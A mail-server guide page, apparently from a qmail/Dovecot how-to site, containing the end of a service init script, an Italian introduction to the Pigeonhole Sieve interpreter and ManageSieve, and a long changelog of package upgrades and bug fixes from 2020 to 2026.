        echo "Server restarted."
}

case "$1" in
'start')
  start
  ;;
'stop')
  stop
  ;;
'restart')
  restart
  ;;
*)
  echo "usage $0 start|stop|restart"
esac

 

L'interprete Sieve e il server Dovecot ManageSieve

2 Giugno 2026 ore 18:30

Il progetto Pigeonhole fornisce il supporto Sieve a livello di plugin per il Local Delivery Agent (LDA) di Dovecot e anche per suo servizio LMTP. Il plugin è un interprete Sieve che filtra i messaggi in arrivo usando uno script scritto in linguaggio Sieve. Lo script Sieve è fornito dall'utente e, con il suo utilizzo, l'utente può personalizzare come i messaggi in arrivo sono trattati. I messaggi possono essere spediti a una cartella specifica, reindirizzati, rispediti al mittente, scartati, etc.

Il Server Dovecot Managesieve è un servizio per gestire la collezione di script Sieve dell'utente.

Se vuoi supportare i filtri per le email, devi gestire le Sieve rules per mezzo del server dovecot-pigeonhole. Quando crei un filtro con la tua webmail o il tuo client di posta, stai scrivendo uno script in linguaggio Sieve per personalizzare il modo in cui i tuoi messaggi saranno recapitati, vale a dire se saranno inoltrati a qualcun altro, scartati o salvati in delle cartelle particolari. Ma per fare questo Dovecot deve agire anche come un Local Delivery Agent  al posto di vpopmail/vdelivermail, ovvero deve essere Dovecot a salvare i messaggi nella tua cartella Maildir. Questa guida cercherà di spiegare come raggiungere questo obiettivo.

ChangeLog

7 Luglio 2026 ore 04:31
  • Jul 6, 2026
    - clamav-unofficial-sigs upgraded to v. 8.0.0
    - roundcube upgraded to v 1.7.2
  • Jul 1, 2026
    - I added notes on how to install an hCaptcha filter on mailman/Postorius
  • May 10, 2026
    roundcube upgraded to v. 1.7.1 (security release)
  • May 14, 2026
    - dovecot upgraded to v. 2.4.4
  • May 10, 2026
    roundcube upgraded to v. 1.7.0
  • Apr 7, 2026
    - qmail v. 2026.04.07
  • Mar 30, 2026
    - dovecot 2.4.3 released
  • Mar 4, 2026
    - clamav upgraded to v 1.5.2
  • Feb 11, 2026
    - vpopmail upgraded to v. 5.6.13
    - vqadmin upgraded to v. 2.4.6
  • Feb 8, 2026
    - vpopmail upgraded to v. 5.6.12
    - roundcube update to v. 16.13
  • Feb 3, 2026
    - qmail upgrade
  • Jan 31, 2025
    - vqadmin upgraded to v 2.4.5
  • Jan 8, 2026
    - qmail upgraded to v2026.01.08
  • Dec 14, 2025
    - roundcube upgraded to version 1.6.12
  • Nov 28, 2025
    - qmailadmin upgraded to v1.2.27
  • Nov 26, 2025
    - ezmlm-idx moved to my git space. Patched to compile with modern compilers. Fixed mysql documentation.
  • Nov 22, 2025
    - dovecot: quota driver switched to 'count'
    - vpopmail upgraded to v.5.6.11
  • Nov 8, 2025
    - qmailadmin upgraded to v 1.2.26
    - log file modified accordingly in fail2ban filter
  • Oct 30, 2025
    - vpopmail updated to v. 5.6.10
    - dovecot ugraded to v. 2.4.2
    - dovecot-pigeonhole ugraded to v. 2.4.2
  • Oct 22, 2025
    - qmailadmin updated to v 1.2.25
  • Oct 18, 2025
    - clamav upgraded to v 1.5.1
  • Oct 11, 2025
    - clamav upgraded to v 1.5.0. A recent version of rust is needed (successfully using 1.88 here). Just reinstall as explained below. No particular change is needed in the config files.
  • 3 ottobre 2025:
    - Aggiunta la sezione Data Query Service nella pagina relativa a RBL, che risolve il problema del ban di spamhaus da connessioni fatte con DNS pubblico.
  • Sep 30, 2025
    - daemontools v0.82: Fixed crash in multilog caused by invalid buffer access when read() returned -1
  • Sep 8, 2025
    - daemontools v. 0.81 compiles with latest gcc 15.2
    - qmail updated to v. 2025.09.08
  • Sep 1, 2025
    vpopmail v5.6.9
    - added -std=gnu17 to gain compatibility with gcc-15 (PR #6)
    - pw_clear_passwd field enlarged to varchar(128) to create room for long passwords (tx Ricardo Brisighelli) c54688d
  • Aug 31, 2025
    - upgraded ucspi-tcp6 and ucspi-ssl to v. 0.13.5
  • Aug 19, 2025
    - netqmail-1.07.1: now compiles with gcc 15.2
  • Aug 18, 2025
    spamassassin's bayesian filter: improved the "Training Bayes" section
  • Jul 10, 2025 qmail update
    - Authentication-Results: header support (Andreas Gerstlauer)
    - DKIM: added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)
    - improved qmail-dkim error reporting when signing outgoing messages (Andreas Gerstlauer)
    - helodnscheck.cpp: qmail dir determined dinamically
    - qmHandle: Add -x and -X parametr for remove email by To/Cc/Bcc (by Stetinac)
  • Jun 9, 2025 qmail v.2025.06.09
    - CRLF fix for fastremote-3 patch (thanks Andreas Gerstlauer)
    - Bug fix to the greetdelay program (thanks Andreas Gerstlauer): qmail-smtpd crashes if SMTPD_GREETDELAY is defined with no DROP_PRE_GREET defined.
  • Jun 04, 2025
    - roundcube updated to v. 1.6.11
    - simscan updated to v. 1.4.6
  • Apr 19, 2025
    - sauserprefs upgraded to v. 1.20.2
  • Apr 18, 2025
    - qmail v2025.04.18: added script config-all.sh to automate the qmail core configuration (testing)
  • Apr 19, 2025
    - sauserprefs upgraded to v. 1.20.2
  • 4 aprile 2025
    - pubblicata una pagina con l'illustrazione del funzionamento di qmail, per quanto riguarda la configurazione suggerita in questa guida
  • Mar 29, 2025
    - dovecot and dovecot-pigeonhole updated to v. 2.4.1-4
    - vpopmail updated to v. 2.6.8 (have a look at the release notes)
  • Mar 23, 2025 (v. 5.6.7)
    - bug fix in vpopmaild.c: Crypted[64] enlarged to Crypted[128] to make room for SHA-512 passwords. This restores the usability of the RoundCube's 'password' plugin (commit)
    - fixed quota calculation in sql procedures for dovecot (tx Hakan Cakiroglu) (commit)
    - minor changes to the usage function of vmakedotqmail.c (commit)
  • Mar 19, 2025 daemontools version 0.79
    This version does not add new features nor corrects bugs. It's just a reorganizations of the files in the source dir
    - daemontools will be installed in /var/qmail/daemontools
    - Moved 'package' and 'src' to the top dir
    - Version grabbed from 'VERSION' in package/upgrade
  • Mar 17, 2025
    - added a patch to qmail-spp greylisting plugin to solve a compilation break on rocky 8 (tx Shailendra Shukla)
  • Mar 15, 2025
    -dovecot config: added quota warning messages handling
  • Mar 12, 2025
    - autorespond v 2.0.9: bug fix in memory allocation which caused a segfault when To: address has be used (tx Stephan for the hint)
  • Mar 9, 2025
    - dovecot: fixed quota calculation in sql queries (tx Hakan Cakiroglu)
    - Roundcube recognizes unlimited quota
  • Mar 5, 2025
    - solr upgraded to v. 9.8.0
  • Feb 22, 2025
    - Dovecot: Bug fix in 90-sieve.conf: global script to move spam into Junk now working
    - Let’s Encrypt have announced that they will end their free alerting service. Added a script to do the same internally.
  • Feb 15, 2025
    - vpopmail upgraded to v. 5.6.6. bug fix: pwstr.h was not installed by Makefile (tx Bai Borko)
  • Fedb 11, 2025
    qmail v. 2025.02.11
    - Several adjustments to get freeBSD and netBSD compatibility. More info in the commit history. Hints/comments are welcome.
    - freeBSD users have to comment out the "LIBRESOLV" variable from the very beginning of the Makefile, as libresolv.so in not needed on freeBSD.
    - Dropped files install-big.c, idedit.c and BIN.* files.
    - Dropped files byte_diff.c, str_cpy.c, str_diff.c, str_diffn.c and str_len.c, which break compilation on clang and can be replaced by the functions shipped by the compiler (tx notqmail).
    - Old documentation moved to the "doc" dir. install.c and hier.c modified accordingly
    - conf-cc and conf-ld now have -L/usr/local/lib and -I/usr/local/include to look for srs2 library
    - conf-cc and conf-ld now have -L/usr/pkg/lib and -I/usr/pkg/include to satisfy netBSD
    - vpopmail-dir.sh: minor correction to vpopmail dir existence check
    - srs.c: #include <srs2.h> now without path
  • Feb 9, 2025
    - some packages updated to compile on FreeBSD/clang: daemontools, vpopmail, autorespond, qmailadmin
    - roundcube updated to v. 1.6.10
  • Jan 30, 2025
    - dovecot and dovecot-pigeonhole updated to v. 2.4.0
  • Dec 31, 2024
    the default driver for the Roundcube password plugin is now sql, as vpopmaild doesn't work when SHA-512 passwords have been enabled on vpopmail (--disable-sha512-passwords). All SQL queries have been updated.
  • Dec 20, 2024
    vpopmail upgraded to v. 5.6.4
    - Password strength enforcement PR #5 (grabbed from Matt Brookings' 5.5.0-dev version)
    - Dropped min pwd length feature.
    - vmysql.h: tables' layout changed in order to have VARCHAR instead of CHAR. Fields containing ip addresses enlarged to VARCHAR(39), to create room for ipv6. Unix timestamps definition changed from BIGINT(20) to INT(11). (commit 44bad58) Have a look to the upgrade notes below.
  • Dec 06, 2024
    - vqadmin v. 2.4.3: added a patch to highlight users with restrictions and with admin privileges (thanks Bai Borko)
  • Dec 01, 2024 (More info here)
    qmail v2024.12.01
    - Added support for EAI (RFC 5336 SMTP Email Address Internationalization) (#13). Thanks to https://github.com/arnt/qmail-smtputf8/tree/smtputf8-tls.
    - chkuser is now smtputf8 compliant. It accepts utf8 characters in sender and recipient addresses provided that the remote server advertises the SMTPUTF8 verb in MAIL FROM, otherwise it allows only ASCII characters plus additional chars from the CHKUSER_ALLOWED_CHARS set. (#15 #16)
    * dropped variables CHKUSER_ALLOW_SENDER_CHAR_xx CHKUSER_ALLOW_RCPT_CHAR_xx (replaced by CHKUSER_ALLOWED_CHARS)
    * dropped variables CHKUSER_ALLOW_SENDER_SRS and CHKUSER_ALLOW_RCPT_SRS, as we are always accepting '+' and '#' characters
    * added variables CHKUSER_INVALID_UTF8_CHARS and CHKUSER_ALLOWED_CHARS
  • Nov 15, 2024
    - dovecot: added a postlogin script to update the vpopmail.lastauth SQL table on login (see 10-master.conf, thanks kengheng)
  • Oct 26, 2024
    - qmail upgraded to v. 2024.10.26
    * qmail-remote.c patched to dinamically touch control/notlshosts/<fqdn> if control/notlshosts_auto contains any number greater than 0 in order to skip the TLS connection for remote servers with an obsolete TLS version. (tx Alexandre Fonceca) (commit)
    * defined CHKUSER_DISABLE_VARIABLE "RELAYCLIENT" in chkuser_settings.h
    * enabled CHKUSER_SENDER_NOCHECK_VARIABLE "RELAYCLIENT" in chkuser_settings.h
    * fixed several compilation breaks/warnings on later gcc compilers (tx Pablo Murillo)
    * invalid auth fix in qmail-smtpd.c's smtp_auth function (tx Alexandre Fonceca for the advice) (commit)
    * qmail path determined dinamically in conf-policy
    * added a patch to remove chkuser and the vpopmail dependency (patches dir)
  • Oct 19, 2024 
    vpopmail v.5.6.3
    - bug fixed: passwords with length > 8 were denied if sha-512 was disabled
    - fixed a configure break where a trivial C test program exits on error with gcc-14.1 due to missing headers
    - vusaged/domain.c: fixed -Wimplicit-function-declaration compilation warning
    - vmysql.h: dropped the multicolumn PRIMARY KEY in valias table to allow multiple forwards for a given alias.
  • Oct 9, 2024
    - daemontools-0.78.2: added -ltr to conf-ld to restore compatibility with systems with glibc prior to v. 2.17 like RHEL6/CentOS6, where the librt.so library is not linked
  • Sep 22, 2024
    -fehqlibs updated to v. 25c
    -ucspi-tcp6 updated to v. 1.13.01
    -ucspi-ssl updated to v. 0.13.02
  • Sep 7, 2024
    - daemontools-0.78: fixed a .gitignore issue which was preventing the package/compile script upload (thanks Ivelin Topalov)
    - RC updated to v. 1.6.9
    - clamav updated to v. 1.4.1
    - qmailadmin upgraded to v. 1.2.23 (tx Nathanaël Semhoun)
    * Added support for qmail-autoresponder
    * Fixed load lang not retrieved
  • Aug 16, 2024
    - upgraded dovecot to v. 2.3.21.1
    - upgraded pigeonhole to v. 0.5.21.1
  • Jul 31, 2024
    multilog uses "d" flag as default to gain compatibility with the readable datetime format of multilog in daemontools-0.78. Change it with the "t" flag if you prefer to have timestamps.
  • Jul 29, 2024 (version 0.78)
    - multilog prints a readable datetime if used with "d" flag, it prints timestamps if used in the usual way with the "t" flag (80f2133)
    - fixed several compilation warnings and/or breaks on gcc-14.1
  • Jul 26, 2024
    vqadmin (version 2.4.1): Fixed configure break. Trivial C test program breaks on gcc-14.1 due to missing headers (commit)
  • July 17, 2024
    qmailadmin updated to v.1.2.22
    * owner no longer required in autorespond
    * template.c code optimization
  • July 15, 2024
    simscan 1.4.4 released: attachment size limit to be passed to spamassassin now handled by the size_limit variable in control/simcontrol, instead of the control/simsizelimit file.
  • Jun 8, 2024
    qmail patch upgraded to v. 2024.06.08:
    * conf-channels: default number of channels increased to 4 (was 2). Now qmail offers 2 additional channels with respect to the 2 offered by default (local and remote). More info here
    * maxrcpt: error code changed to 452 due to RFC 4.5.3.1 (was 553). If DISABLE_MAXRCPT is defined it skips the check, otherwise outgoing messages from mailing lists would be rejected. (commit)
  • Jun 7, 2024
    - vusaged: the header files of libev are now installed in /usr/local/include/libev (was /usr/local/include) to avoid conflicts with libevent (they both have an event.h header file). vusaged configure command was adjusted accordingly.
  • Jun 1, 2024
    - clamav upgraded to v. 1.3.1
  • May 26, 2024
    - Added Mailman installation howto
    - qmail patch upgraded to v. 2024.05.16 (changelog)
    - Roundcube upgraded to 1.6.7 (security fix)
    - Spamassassin upgraded to v. 4.0.1
    - Spamassassin: Razor-agents upgraded to v. 2.86 (fork of the original (dead?) project)
  • Mar 27, 2024
    qmailadmin updated to v. 1.2.21
  • Mar 4, 2024
    - Solr updated to v. 9.5.0
    - the documentation has been revised a bit
  • Feb 12, 2024 qmail update
    - DKIM patch upgraded to v. 1.48
    * fixed minor bug using filterargs for local deliveries (commit)
    - Fixed several compilation warnings (commit)
    - Fixed incompatible redeclaration of library function 'log2' in qmail-send.c qsutil.c as showed by notqmail friends here
    - removed FILES, shar target from Makefile
  • Feb 11, 2024
    clamav updated to v. 1.3.0
  • Feb 6, 2024
    qmail: DKIM patch upgraded to v. 1.47
    * fixed a bug which was preventing filterargs' wildcards to work properly on sender domain
  • Jan 27, 2024
    simscan upgraded to v 1.4.3: fixed several compilation and autotools warnings
  • Jan 21, 2024
    - qmail: liberal-lf: bare LF are no longer allowed by default due to smuggling vulnerability CVE-2023-51765. Bare LF can be allowed by defining ALLOW_BARELF in tcprules or in run file.
    - tcprules moved to /var/qmail/control
  • Jan 15, 2024
    qmail update:
    - TLS patch by F. Vermeulen upgraded to version 20231230 (more info at https://inoa.net/qmail-tls/ tx Greg Bell for the patch)
    * support to openssl 3.0.11
  • Jan 11, 2024
    - qmail: dkim patch upgraded to version 1.46
  • Jan 4, 2024
    qmail patch: DKIM patch upgraded to v. 1.44
    - fixed an issue with filterargs where spawn-filter is trying to execute remote:env xxxxx.... dk-filter. This issue happens when FILTERARGS environment variable is not defined in the qmail-send rc script.
    - dkim.c fix: https://notes.sagredo.eu/en/qmail-notes-185/configuring-dkim-for-qmail-92.html#comment3668 
    - dkfilter fix: correctly selects the domain to sign in case of sieve bounces
    - adjustments fo dk-filter and dknewkey man pages
  • Dec 30, 2023
    - spamassassin/DMARC filter: now DMARC_REJECT is not hit if SPF_HELO_PASS is true
  • Dec 26, 2023
    - qmailadmin upgraded to v1.2.18
    - Pyzor installed from github, as version 1.0.0 is not python3 compliant (thanks Mike)
  • Dec 11, 2023
    qmail, vpopmail, daemontools, qmailadmin, simscan and vqadmin source code moved to github
  • Nov 20, 2023
    -qmail patch updated. dkim:
    * The patch now by default excludes X-Arc-Authentication-Results
    * dkim can additionally use the environment variable EXCLUDE_DKIMSIGN to include colon separated list of headers to be excluded from signing (just like qmail-dkim). If -X option is used with dk-filter, it overrides the value of EXCLUDE_DKIMSIGN.
  • Nov 5., 2023
    -bug fix: vpopmail defaultdelivery patch: it won't create the .qmail file in case control/defaultdelivery already has vdelivermail, in order to prevent a vpopmail loop
    -qmailforward RC plugin: it won't create the copy record if $config['qmailforward_defaultdelivery'] contains 'vdelivermail'
  • Oct 13, 2023
    - vpopmail: added "s/qmail cdb" patch, which gets vpopmail to locate correctly the qmail assign.cdb for s/qmail users. s/qmail users should configure vpopmail with --enable-sqmail-cdb
  • Oct 6, 2023
    - clamav updated to v. 1.2.0
  • Sep 26, 2023
    new qmail combined patch:
    -surblfilter logs the rejected URL in the qmail-smtpd log. It can now inspect both http and https URLs.
    -Improvements in man dkim.9, qmail-dkim.9 and surblfilter.9
  • Sep 17, 2023
    - dovecot upgraded to v 2.3.21
    - pigeonhole upgraded to v 0.5.21
  • Sep 14, 2023
    - simscan now defines the maximum size of messages to be passed to spamassassin via control/simsizelimit file
  • Sep 5, 2023
    -new qmail patch and DKIM patch upgraded to v. 1.42
    *dk-filter.sh: "source $envfn" has been replaced with ". $envfn" in oder to work for pure bourne shells
    *minor corrections to the man pages
    -vpopmail: changed configuration option --enable-logging=e (was p). Now failed attempts will be logged with no password shown.
  • Sep 3, 2023
    -daemontools: Buffer Overflow fixed in timestamp.c (patch multilog-readable_datetime, Ubuntu 22.04). It was causing empty log files everywhere. (thanks Bai Borko and KPC)
  • Aug 27, 2023
    - nuova patch per vpopmail e nuovo plugin qmailforward per Roundcube che vanno a risolvere diverse problematiche. Maggiori informazioni nella pagina dedicata..
  • Aug 20, 2023 (diff)
    -qmail combined patch: install a sample control/smtpplugins file in case it does not exist yet, to avoid "unable to read control" crash.
  • Aug 17, 2023
    - helodnscheck:
    * C++ version (testing).
    * bug fix: segfault in case of no result in DNS record.
    * default action changed to GNLR
  • 5 agosto 2023
    L'installzione del certificato Let's Encrypt è ora basata su dehydrated. La vecchia documentazione basata su certbot non verrà più aggiornata.
  • Jul 18, 2023
    vqadmin: patch updated
    - Italian translation file html/it updated, following the patch by Ali Erturk TURKER
    - the vqadmin source directory has been cleaned of unnececessary files
  • Jul 15, 2023
    - fail2ban: l'installazione e la configurazione è stata rivista per funzionare su Debian, dove python2 non è presente (grazie a Gabriel Torres)
  • Jun 30, 2023
    -daemontools: added my multilog-readable_datetime patch which replace the timestamp in the log lines with a human readable datetime. Do not install it if you prefer to stick with the timestamp.
    -if you install this patch you have to download again the convert-multilog program. In case you decide to stick with the original timestamp, then use the original convert-multilog. (diff)
    -qmail combiend patch: DKIM patch upgraded to v. 1.41
    *dknewkey will allow domains in control/domainkey
    *Made a few adjustments to the man pages and dkimsign.cpp for DKIMDOMAIN to work with qmail-smtpd (in case some configures qmail-smtpd to sign instead of the usual dk-filter/qmail-remote)
    -The broken link based on pobox.com in the default SPF error explanation was changed to https://mxtoolbox.com/SuperTool.aspx?action=spf
  • Jun 25, 2023
    - Spamassassin: The ExtractText notes have been revised and corrected by Gabriel Torres
  • Jun 18, 2023
    * qmail combined patch (diff)
    -vpopmail uid and gid are determined dinamically instead of assigning 89:89 ids by default
    -vpopmail install directory determined dinamically (was /home/vpopmail). Now the variable in the conf-cc file is determined as well.
    Feel free to post any issue in the comments as I'm not sure that /bin/sh will work in all Linux.
    * qmail run scripts:
    -defined the variable QMAILDIR in all run scripts in order to manage installations of qmail in directories different from default /var/qmail
    -/home/vpopmail is now ~vpopmail in order to manage installations of vpopmail in directories different from default /home/vpopmail
    -defined the variable TCPRULES_DIR on top of all run scripts
  • May 18, 2023
    -certbot/letsencrypt: added the option --key-type rsa to the certbot command, to avoid that certbot will silently default to ECDSA the private key format, which results not understandable by my openssl-1.1. In this way the format of the private key will be RSA. More info here.
  • May 17, 2023
    -SURBL: Top level domains URL is changed. So we have to adjust the update_tlds.sh script accordingly
  • Apr, 26, 2023
    -new combined patch and dkim patch updated to v. 1.40
    -qmail-dkim uses CUSTOM_ERR_FD as file descriptor for errors (more info here)
  • Apr 25, 2023
    - qmailadmin cracklib patch: bug fix in qmailadmin/passwd: it was changing the password also in case of cracklib alert (tx Alexandre Fonseca)
    - new qmailadmin combined patch released
  • Mar 27, 2023
    qmail combined patch (diff here)
    -chkuser.c: double hyphens "--" are now allowed also in the rcpt email (tx Ali Erturk TURKER)
    -chkuser_settings.h CHKUSER_SENDER_NOCHECK_VARIABLE commented out. Sender check is now enabled also for RELAYCLIENT
    -removed a couple of redundant log lines caused by qmail-smtpd-logging
  • Mar 18, 2023
    - new qmail combined patch
    * bugfix in dkimverify.cpp: now it checks if k= tag is missing (tx Raisa for providing detailed info)
    * redundant esmtp-size patch removed, as the SIZE check is already done by the qmail-authentication patch (tx Ali Erturk TURKERdiff here
  • Mar 14, 2023
    - qmail combined patch: the split_str function in dknewkey was modified in order to work on debian 11 (tx J)
  • Mar 12, 2023
    - qmail patch updated: the mail headers will change from "ESMTPA" to "ESMTPSA" when the user is authenticated via starttls/smtps (tx Ali Erturk TURKER)
    diff here
  • Mar 1, 2023
    - qmail combined patch updated: added qmail-fastremote patch (tx Ali Erturk TURKER for the advise). qmail-remote CRLF removed (replaced by fastremote)
  • Feb 27, 2023
    - qmail combined patch updated: now qmail-remote is rfc2821 compliant even for implicit TLS (SMTPS) connections (tx Ali Erturk TURKER)
  • Feb 24, 2023
    - qmail combined patch updated: several missing references to control/badmailto and control/badmailtonorelay files were corrected to control/badrcptto and control/badrcpttonorelay (tx Ali Erturk TURKER) diff here
  • Feb 20, 2023
    - qmail combined patch updated
    ---- dkim patch upgraded to v. 1.37
    ------ ed25519 support​ (RFC 8463)
    ------ old yahoo's domainkeys stuff removed (no longer need the libdomainkeys.a library)
  • Feb 18, 2023
    -vpopmail: added a patch by Ali Erturk TURKER which fixes several issues
    -vqadmin: added a patch by Ali Erturk TURKER which, among the other things, makes vqadmin aware of mysql-limits
  • Feb 10, 2023
    -dovecot: added a patch to restore the old vpopmail-auth driver (tx Ali Erturk TURKER)
  • Jan 31,2023
    -bug fix in qmail-smtpd.c. 4096 bit RSA key cannot be open (tx Ali Erturk TURKER)
  • Jan 4, 2023
    -Solr upgraded to version 9.1.0
    -The SOlr page has been improved as far as configuration, security and testing are concerned
  • Jan 1, 2023
    -ClamAV upgraded to version 1.0.0
    -new qmail combined patch released. Bug fix in dk-filter. It was calling a non existent function (tx Andreas).
  • Dic 17, 2022
    -qmail combined patch release
    * chkuser receipt check won't be disabled for RELAYCLIENT
    * CHKUSER_DISABLE_VARIABLE commented out from chkuser_settings.h
  • Nov 20, 2022
    -switched all actions to nftables, as it has now replaced iptables and fail2ban has support for it.
  • Nov 18, 2022
    -fail2ban upgraded to v. 1.0.2
  • Oct 28, 2022:
    added a note on how to avoid being cutoff by spamhaus (tx Marco Varanda)
  • 2022.10.02
    -dkim patch updated to v. 1.30 and new qmail combined patch released
    * bug fix: it was returning an error in case of domains with no key.
  • Sep 29, 2022
    -bug fixed in the domainkey script: it wasn't creating the symbolic link of the selector name to the private key in case of a custom selector defined in the file control/dkimkeys
    Sep 28, 2022
    -qmail combined patch updated with new dkim patch v. 1.29. More info here
    -Roundcube webmail updated to v. 1.6.0
  • Aug 12, 2022
    -dovecot: improved the sql stuff in case of --disable-many-domains (tx kengheng).
    -dovecot-pwd_query patch for vpopmail: added a procedure for the user_query (needed for dovecot/LDA)
    -dovecot-pwd_query patch for vpopmail renamed to dovecot-sql-procedures
    -combined patch for vpopmail updated
  • Aug 08, 2022
    -qmailctl script improved. Now the script exits if services are not started with svscanboot or a supervise script is missing
    -roundcube/password plugin: the cracklib patch has been improved. Now it can retrieve the correct cracklib-check path
  • Jul 28, 2022
    -The Roundcube plugins' page has been revised and polished. A couple of plugins have been added.
  • May 22, 2022
    qmail patch: "qmail-smtpd pid, qp log" patch (http://iain.cx/qmail/patches.html#smtpd_pidqp) removed, as its log informations are already contained in the qlogreceived line. (diff)
    -improved a couple of read_failed error messages
  • May 12, 2022
    -clamav: updated to v. 0.105
    -qmailctl: a few modifications to avoid error strings in the service uptime when service is stopped. qmail-smtpsd was added to svclist
    -qmail-smtpsd support added
  • Apr 22, 2022
    -dovecot: added Solr support
  • Apr 17, 2022
    -dovecot/auth-sql.conf.ext: changed the userdb lookup for LDA from static to sql, as the home dir was not retrieved correctly if positioned in a subfolder (i.e. domains/0/domainname).
  • Apr 9, 2022
    qmailadmin: --enable-imageurl=/files is now --enable-imageurl=/qmailadmin/files (no need to have an alias on apache config). Added --disable-catchall, which is bad for spam. Tx Gabriel Torres
  • Apr 01, 2022
    -qmailadmin: new combined patch. It now logs to stderr when qma-auth.log file can't be opened in write mode. It was returning a white screen
  • Mar 17, 2022
    -vpopmail: new combiend patch: fixed a compilation break in vmysql.c with Debian 11 / gcc-10
  • Feb 26, 2022
    -added REJECTNULLSENDERS environment variable (diff)
  • Feb 18, 2022
    -fail2ban: added a couple of new rules to the qmail-smtpd.conf filter
  • Feb 13, 2022
    -fixed a TLS Renegotiation DoS vulnerability. Disabled all renegotiation in TLSv1.2 and earlier. (diff here)
  • Feb 1, 2022
    -added a plugin to qmail to filter bad DNS HELOs (more info here)
    -Roundcube upgraded to v. 1.5.2
  • Jan 17, 2022
    -new qmail combined patch (diff here):
    * now qmail-smtpd logs rejects when client tries to auth when auth is not allowed, or it's not allowed without TLS (a closed connection with no log at all appeared before).
    * added qmail-spp.o to the TARGET file so that it will be purged with "make clean".
  • Dec 19, 2021
    -new qmail combined patch: added qmail-spp patch
  • Oct 21, 2021
    roundcube updated to v. 1.5.0
  • Sep 28, 2021
    clamav updated to v. 0.104. The new version installation is based on cmake (autotools abandoned)
  • Sep 27, 2021
    -new qmail combined patch: now chkuser allows double hyphens "--" in the sender email, like in y--s.co.jp (diff here)
  • Sep 8, 2021
    fail2ban updated to v. 0.11.2 and rc.fail2ban moved to /usr/local/bin/fail2banctl. The dovecot filter has been improved
  • Sep 2, 2021
    -an issue in vusaged configure arised. I cured it with a patch, while Luca in the comments found a different solution.
  • Aug 22, 2021
    -minor fix to qmail patch/qlog: now it logs the auth-type correctly (diff)
  • Aug 15, 2021
    at the bottom of the qmail/testing page I added a note to the testssl script by Dirk Wetter, which allows you to inspect your SSL connection in detail.
  • July 28, 2021
    simscan: my attachments-size-limit patch added. It allows you to overcome a limitation where simscan doesn't pass messages over 250k to spamassassin.
  • July 16, 2021
    spamassassin: bayes_token.token database field changed to binary(5). It was char(5).
  • Jul 12, 2021
    -spamassassin/userprefe: the "preference" varchar length in the database "userprefs" table was increased to 50 (was 30) to create space for long label such as  "bayes_auto_learn_threshold_spam", which resulted truncated before the modification.
  • June 20, 2021
    -spamassassin: created a script to process the spam/ham for the learning and reporting system (more info here)
    -dovecot 15-mailboxes.conf: added mailboxes for the learning and reporting system
  • June 19, 2021
    new qmail combined patch released
    -chkuser: defined extra allowed characters in sender/rcpt addresses and added the slash to the list (tx Thomas).
    -RSA key and DH parameters are created 4096 bit long also in Makefile-cert. qmail-smtpd.c and qmail-remote.c updated accordingly (tx Eric Broch).
    -Makefile-cert: the certs will be owned by vpopmail:vchkpw
  • March 27, 2021
    - bug fixes in the vpopmail/defaultdelivery patch: increased the buffer for the .qmail-default file path, as in particular cases of long path/domain names it will result truncated. Fixed another bug where the .qmail.default file where opened twice.
    - now if vdelivermail is installed the "delete" option will be used instead of "bounce-no-mailbox", which is not reasonable anymore
  • March 21, 2021
    qmail combined patch updated. update_tmprsadh.sh: RSA key and DH parameters increased to 4096 bits
  • March 9, 2021
    vpopmail: the patch now installs the sql code needed for "one table per domain" (--disable-many-domains) in ~/vpopmail/etc/pwd-query_disable-many-domains.sql and creates the sql procedure if needed. Of course this add-on to vpopmail will be completely transparent when you compile with the default option --enable-many-domains
  • Feb 26, 2021
    vpopmail: added a defaultdelivery patch, which makes vpopmail to copy your preferred delivery agent (stored in QMAILDIR/control/defauldelivery) into the .qmail-default file of any newly created domains, overriding the default vpopmail's behaiviour, where vpopmail copies its delivery agent vdelivermail.
    Feb 5, 2021
    - vpopmail: the patch has been improved. The sql-aliasdomains stuff is now done by means of the vpopmail's C programs and functions.
    Feb 3, 2021
    - vpopmail: new patch and script released.
    Just configure --enable-sql-aliasdomains (default) and forget. The dbtable will be created the first time you will create an aliasdomain.
  • Jan 29, 2021
    - dovecot/auth-sql.conf.ext now uses the userdb's prefetch driver in order to perform one single query when doing the auth
    - dovecot/dovecot-sql.conf.ext has been modified to allow authentication both with real and alias domains, provided that you patched vpopmail accordingly. More info in this page.
    - vpopmail: sql-aliasdomains and combined patch released (new aliasdomains dbtable has to be created!)
  • Jan 13, 2021
    - vpopmail/dovecot: added support for sql aliasdomains
  • Gen 5, 2021
    - dovecot upgraded to v. 2.3.13 (vpopmail-auth removed by dovecot's developers)
    - pigeonhole upgraded to v. 0.5.13
  • Gen 3, 2021
    - Roundcube: Upgraded to v. 1.4.10
    - Roundcube: disabled the SMTP authentication when sending messages via RC. SMTP port changed to 25.
  • Gen 2, 2021
    - ucspi-tcp6: upgraded to latest version
    - fehQlibs have to be installed as a prerequisite of ucspi-tcp6
  • Dec 4, 2020
    - combined patch for qmail updated to solve compatibility problems with new gcc-10
    - a patch was also released to get vpopmail compiled with gcc-10
    - Tony Fung suggested a script to expunge messages, which can be very useful in case you need to expunge differently depending on your mailboxes/domains.
  • Nov 18, 2020
    spamassassin:
    - solved some priviledge problems with the reports of the RC's markasjunk plugin, which is going to write inside the log dir and read the razor's identity file.
    - moved all log files into /var/log/spamassassin (apache group now has +w priv). spamdctl and logrotate scripts modified accordingly
  • 2020.10.30
    Clamav: added clamav-unofficial-sigs (tx Tony Fung for the suggestion). Updated clamdctl and freshclamctl scripts to allow the restart function, needed by clamav-unofficial-sigs script
  • 2020.10.28
    modified the spamassassin's DMARC rule. Now it passes emails with one between DKIM and SPF valid, according to RFC7489 (thanks Marcel Veldhuizen and Iulian for the hints)
  • 2020.10.08
    rcptcheck-overlimit.sh: bug fix (tx Tony Fung)
  • 2020.09.02
    spamassassin/DMARC: corrected the askDNS rule as it was not triggering the reject in the event that only one of DKIM or SPF failed (tx A F)
  • 2020.09.01
    qmailadmin: minor adjustments to the skin patch
  • 2020.08.12
    dovecot: upgraded to v. 2.3.11.3
    dovecot-pigeonhole: upgraded to v. 0.5.11
  • 2020.08.11
    Roundcube: upgrade to v. 1.4.8
  • 2020.08.10
    - new qmailadmin skin/combined patch released:
    mod_user.html: added the "value" attribute to the name/gecos input tag (tx Pablo Murillo)
  • 2020.08.04
    - simscan: upgraded to v. 1.4.1
  • 2020.08.02
    - several clarifications in the simscan page;
    - revised the ripMIME installation as the dev version of the program is now downloaded from github, to solve complation breaks.
  • 2020.07.29
    - new combined patch
